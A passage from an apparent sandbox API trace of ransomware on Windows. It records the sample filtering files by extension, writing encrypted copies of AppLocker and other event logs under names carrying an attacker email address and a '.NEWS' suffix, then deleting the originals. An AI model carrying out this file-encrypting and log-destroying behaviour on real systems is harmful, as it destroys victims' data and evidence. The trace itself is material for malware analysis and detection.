(lpString=".xlsx") returned 5 [0074.643] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.643] lstrlenW (lpString=".ppt") returned 4 [0074.643] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.643] lstrlenW (lpString=".zip") returned 4 [0074.643] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.643] lstrlenW (lpString=".rar") returned 4 [0074.643] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.643] lstrlenW (lpString=".bz2") returned 4 [0074.643] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.643] lstrlenW (lpString=".7z") returned 3 [0074.643] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.643] lstrlenW (lpString=".dbf") returned 4 [0074.644] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.644] lstrlenW (lpString=".1cd") returned 4 [0074.644] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.644] lstrlenW (lpString=".jpg") returned 4 [0074.644] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.644] lstrlenW (lpString=".doc") returned 4 [0074.644] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString=".docx") returned 5 [0074.644] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.644] lstrlenW (lpString=".pdf") returned 4 [0074.644] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString=".xls") returned 4 [0074.644] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString=".xlsx") returned 5 [0074.644] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.644] lstrlenW (lpString=".ppt") returned 4 [0074.644] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.644] lstrlenW (lpString=".zip") returned 4 [0074.644] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString=".rar") returned 4 [0074.644] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString=".bz2") returned 4 [0074.644] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString=".7z") returned 3 [0074.644] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.644] lstrlenW (lpString=".dbf") returned 4 [0074.644] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.645] lstrlenW (lpString=".1cd") returned 4 [0074.645] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.645] lstrlenW (lpString=".jpg") returned 4 [0074.645] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.645] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.645] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0074.645] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.645] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0074.645] CloseHandle (hObject=0x354) returned 1 [0074.645] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0074.645] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.645] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.645] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.646] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.646] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0074.646] GetLastError () returned 0x0 [0074.646] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0074.649] WriteFile (in: hFile=0x344, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0074.651] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.651] WriteFile (in: hFile=0x344, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x12e, lpOverlapped=0x0) returned 1 [0074.651] SetEndOfFile (hFile=0x344) returned 1 [0074.651] CloseHandle (hObject=0x344) returned 1 [0074.656] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.656] SetEndOfFile (hFile=0x354) returned 1 [0074.657] CloseHandle (hObject=0x354) returned 1 [0074.657] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0074.658] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0074.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.658] lstrlenW (lpString=".doc") returned 4 [0074.658] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.658] lstrlenW (lpString=".docx") returned 5 [0074.658] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.658] lstrlenW (lpString=".pdf") returned 4 [0074.658] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.658] lstrlenW (lpString=".xls") returned 4 [0074.658] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.658] lstrlenW (lpString=".xlsx") returned 5 [0074.658] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.658] lstrlenW (lpString=".ppt") returned 4 [0074.658] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.658] lstrlenW (lpString=".zip") returned 4 [0074.658] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.658] lstrlenW (lpString=".rar") returned 4 [0074.658] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.658] lstrlenW (lpString=".bz2") returned 4 [0074.658] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.658] lstrlenW (lpString=".7z") returned 3 [0074.658] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.658] lstrlenW (lpString=".dbf") returned 4 [0074.659] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.659] lstrlenW (lpString=".1cd") returned 4 [0074.659] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.659] lstrlenW (lpString=".jpg") returned 4 [0074.659] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.659] lstrlenW (lpString=".doc") returned 4 [0074.659] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString=".docx") returned 5 [0074.659] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.659] lstrlenW (lpString=".pdf") returned 4 [0074.659] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString=".xls") returned 4 [0074.659] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString=".xlsx") returned 5 [0074.659] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.659] lstrlenW (lpString=".ppt") returned 4 [0074.659] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.659] lstrlenW (lpString=".zip") returned 4 [0074.659] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString=".rar") returned 4 [0074.659] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString=".bz2") returned 4 [0074.659] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.659] lstrlenW (lpString=".7z") returned 3 [0074.659] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.659] lstrlenW (lpString=".dbf") returned 4 [0074.659] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.660] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.660] lstrlenW (lpString=".1cd") returned 4 [0074.660] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.660] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0074.660] lstrlenW (lpString=".jpg") returned 4 [0074.660] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.660] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.660] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48 [0074.660] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.661] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0074.661] CloseHandle (hObject=0x354) returned 1 [0074.661] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0074.661] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.661] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.661] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.661] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.661] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0074.662] GetLastError () returned 0x0 [0074.662] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0074.664] WriteFile (in: hFile=0x344, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0074.666] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.666] WriteFile (in: hFile=0x344, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x134, lpOverlapped=0x0) returned 1 [0074.666] SetEndOfFile (hFile=0x344) returned 1 [0074.666] CloseHandle (hObject=0x344) returned 1 [0074.669] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.669] SetEndOfFile (hFile=0x354) returned 1 [0074.670] CloseHandle (hObject=0x354) returned 1 [0074.670] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0074.670] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0074.670] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.670] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.670] lstrlenW (lpString=".doc") returned 4 [0074.670] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString=".docx") returned 5 [0074.671] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.671] lstrlenW (lpString=".pdf") returned 4 [0074.671] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString=".xls") returned 4 [0074.671] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString=".xlsx") returned 5 [0074.671] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.671] lstrlenW (lpString=".ppt") returned 4 [0074.671] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.671] lstrlenW (lpString=".zip") returned 4 [0074.671] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString=".rar") returned 4 [0074.671] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString=".bz2") returned 4 [0074.671] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString=".7z") returned 3 [0074.671] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.671] lstrlenW (lpString=".dbf") returned 4 [0074.671] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.671] lstrlenW (lpString=".1cd") returned 4 [0074.671] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.671] lstrlenW (lpString=".jpg") returned 4 [0074.671] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.671] lstrlenW (lpString=".doc") returned 4 [0074.671] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.671] lstrlenW (lpString=".docx") returned 5 [0074.672] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.672] lstrlenW (lpString=".pdf") returned 4 [0074.672] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.672] lstrlenW (lpString=".xls") returned 4 [0074.672] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.672] lstrlenW (lpString=".xlsx") returned 5 [0074.672] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.672] lstrlenW (lpString=".ppt") returned 4 [0074.672] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.672] lstrlenW (lpString=".zip") returned 4 [0074.672] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.672] lstrlenW (lpString=".rar") returned 4 [0074.672] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.672] lstrlenW (lpString=".bz2") returned 4 [0074.672] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.672] lstrlenW (lpString=".7z") returned 3 [0074.672] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.672] lstrlenW (lpString=".dbf") returned 4 [0074.672] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.672] lstrlenW (lpString=".1cd") returned 4 [0074.672] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0074.672] lstrlenW (lpString=".jpg") returned 4 [0074.672] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.672] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.672] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0074.672] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.673] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0074.673] CloseHandle (hObject=0x354) returned 1 [0074.673] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0074.673] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.673] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.673] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.673] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.673] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0075.745] GetLastError () returned 0x0 [0075.745] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0075.748] WriteFile (in: hFile=0x388, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0075.750] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.750] WriteFile (in: hFile=0x388, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x146, lpOverlapped=0x0) returned 1 [0075.750] SetEndOfFile (hFile=0x388) returned 1 [0076.302] CloseHandle (hObject=0x388) returned 1 [0076.342] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.342] SetEndOfFile (hFile=0x354) returned 1 [0076.343] CloseHandle (hObject=0x354) returned 1 [0076.343] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.343] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0076.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.524] lstrlenW (lpString=".doc") returned 4 [0076.524] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.524] lstrlenW (lpString=".docx") returned 5 [0076.525] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.525] lstrlenW (lpString=".pdf") returned 4 [0076.525] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.525] lstrlenW (lpString=".xls") returned 4 [0076.525] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.525] lstrlenW (lpString=".xlsx") returned 5 [0076.525] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.525] lstrlenW (lpString=".ppt") returned 4 [0076.525] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.525] lstrlenW (lpString=".zip") returned 4 [0076.525] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.525] lstrlenW (lpString=".rar") returned 4 [0076.525] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.525] lstrlenW (lpString=".bz2") returned 4 [0076.525] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.525] lstrlenW (lpString=".7z") returned 3 [0076.525] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.525] lstrlenW (lpString=".dbf") returned 4 [0076.525] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.525] lstrlenW (lpString=".1cd") returned 4 [0076.525] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.525] lstrlenW (lpString=".jpg") returned 4 [0076.525] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned 